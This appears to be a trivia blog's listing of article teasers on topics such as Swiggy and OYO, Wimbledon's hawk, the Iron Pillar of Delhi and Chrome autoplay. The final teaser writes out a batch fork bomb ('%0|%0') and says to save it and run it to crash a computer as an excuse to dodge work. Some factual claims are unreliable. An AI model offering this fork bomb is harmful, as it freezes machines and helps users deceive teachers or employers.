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Swiggy, OYO: StartUps buring cash with acquiring other brands

On 22nd Feb, two disrupting news broke out in food start-up industry. Swiggy planning to buy UberEats, the food-delivery arm of the global ride-hailing platform, and the budget hositality start-up OYO Rooms is scheming on buying significant stake in cloud kitchen start-up FreshMenu.

Both Swiggy and OYO have gained success in their respective markets in very short span of time. While UberEats…

A Bird Is An Official Employee And A Celebrity At The Wimbledon

A Bird named Rufus is for some reason is famous at Wimbledon as Hot Dogs in New York and the reason is that he is an official employee at the Wimbledon.  He is so important for the Wimbledon that without him it would be difficult to properly organize a tournament there.

  As Wimbledon court is prepared with the extreme care and uses the perennial ryegrass which is very rich in quality. As…

What Happens When You Open 100th Tab on Phone Browser

Normally people use 5-10 tabs simultaneously while surfing internet on their phone web browser. It is very rare that anyone use 100 tabs at the same time. But there might be few people open a new tab for every task and close them altogether with browser.

But do you know what amazing thing happens when you open 100 tabs in your phone web browser. Well here is what happens when you open 100th tab…

Send Me To Heaven: The Mobile App You Wll Not Dare To Try On Your Phone

These days there is an app available for everything. Whatever issue you have, just search in the app store of your phone and there will be an app available to solve it and even there are many apps which are completely nonsense and useless.

If you ever wished, out of frustration or just for fun, to throw your phone in air as much as high you can but you couldn’t after thinking about the…

The Poisonous Pitohui Bird Is Death From The Skies.

Pitohui is littile song bird which can be easily be spotted in Papua New Guinea. It is the first documented poisonous bird. There are three varieties of poisonous Pithohui bird out of which Hooded Pitohui is most deadliest.

  Back in 1989, Researchers studying Pitohui noticed numbness and irritation after being scratched by these littile song birds. Eventually they concluded that the these birds…

What Trick Birds Uses To Avoid Mid-Air Collision With Each Other?

In a recent study carried out at The University of Queensland, researchers have made stunning revelation about how birds avoid collision with each other even when flying in a tightly packed flocks. The research was published in the  PLOS One journal.

  The bird community avoids fatal head on collision just by following a simple rule:

BIRDS ALWAYS VEER RIGHT

  This simple trick used by birds…

Why Your Apples Turning Brown When You Slice Them?

While eating an apple most people wonder that why there apple slices are turning brown. Is is natural? Is it safe? Well, it is totally safe and natural if your apples turning brown.

Apple, when sliced or bruised, its inner part starting turning brown because of its built in defence mechanism against bacteria and fungus.

Apple cells contain an enzyme called Polyphenol Oxidase (PPO)or tyrosinase…

What Does The Mysterious Briefcase of Prime Minister Modi’s Bodyguard Contains?

If you have watched Independence Day ceremony on television then you might have noticed that one of the Prime Minister India bodyguard carries mysterious briefcase.

    The most popular theory about this mysterious black suitcase is that it carries the Nuclear Arms Code. But this is not true as Prime Minister of India doesn’t have authority to order nuclear strike. While other theory is that it…

Why Iron Pillar Of Delhi Never Rusts?

For the last 1600 years, the Iron Pillar of Delhi is testimony to the high level of skill achieved by ancient Indian metallurgists in the extraction and processing of iron. The Iron Pillar at Delhi has attracted the attention of archaeologists and metallurgists as it never rusts.

The reason behind this is:

Delhi’s Iron Pillar has high Phosphorus and low sulphur amount.

If you melt pig iron…

How To Stop Autoplay Videos In chrome?

While searching for some important article, when you click on a webpage and get welcomed by some annoying autoplay videos ads and you can do nothing about it makes you feel very frustrating.  In this article we will try to get stop autoplay videos in Chrome browser.

Most of these autoplay videos works on Shockwave flash. So instead of turning off Flash entirely, we will make it to play videos…

September 19, 1881: James Garfield Was Assassinated.

Who was James Garfield?

James Abram Garfield  was the 20th President of the United States, serving from March 4, 1881 until 4 months later her was assassinated. James Garfield was born on November 19, 1831 in Ohio. Garfield’s father was a wrestler and died when Garfield was infant.

  How did he died?

Garfield was shot at Baltimore and Potomac railroad station in Washington DC. Eleven weeks…

How Does Cutting And Rubbing Removes The Cucumber Biterness

Have you ever experienced cucumber bitterness? Do you ever wonder why people chop off the ends of their cucumbers and then rub them against the cucumber to produce a white scummy paste.

Well the why reason people actually do this is to remove the bitterness from the cucumber. Yes, that’s right! The chopping and rubbing of the ends of cucumber reduces the cucumber bitterness and makes it more…

Why People Having Flat Feet Are Not Allowed In Military?

If you have an intention to join military and you have flat feet then probably it’s not a good sign for you. Yes! It’s true, military doesn’t recruit people having flat feet and there is a valid medical reason behind this rule of military of recruiting army personnel.

The reason is very simple; if you have a flat foot then it would be difficult for you to establish balance on your feet.

To be…

The Most Lightest Material On Earth Is Seven Times Lighter Than Air

Chinese scientist invented, Graphene Aerogel, the lightest material on earth. Graphene Aerogel is seven times lighter than air and stronger than steel, it is so light that an cube inch of the stuff can be balanced on a blade of grass.

  The graphene aerogel can recover completely after more than 90% compression, and absorb up to 900 times its own weight in oil. This would make it extremely…

There Is A Hidden Message In The Logo Of Reliance Jio

Mukesh Ambani, the Richest man of India and the chairman of the Petrochemical giant Reliance Industries, unveiled his plans to become biggest Telecom and Internet services provider across India and launched the Reliance Jio infocomm Limited (RJIL) on 1st Sept, 2016.

  But there was something interesting about the logo of Jio.

  Here is the original image of the Reliance Jio Logo:

 Here is the…

When Sam Manekshaw Left The Gujrati People Speechless

Sam Manekshaw was one of the most bad-ass person that have ever lived. He was such a bad that even Prime Minister of the country used to avoid arguing with him.  Although there are numerous of stories about Sam Manekshaw which will make you drop your jaws but this one is really different. Field Marshal Sam Manekshaw was once addressing a public meeting at Ahmedabad. He was speaking in English and…

Sometimes your teacher in school or boss in office asks you to complete a particular task on computer but you are in no mood of doing it and you don’t have an excuse to escape. Don’t worry! Let’s make an excuse.

Step 1: Open Your Notepad and Type

%0|%0 [By the way, Its the smallest computer virus code even written]

Step 2:Save it on Desktop as a batch file. That means File…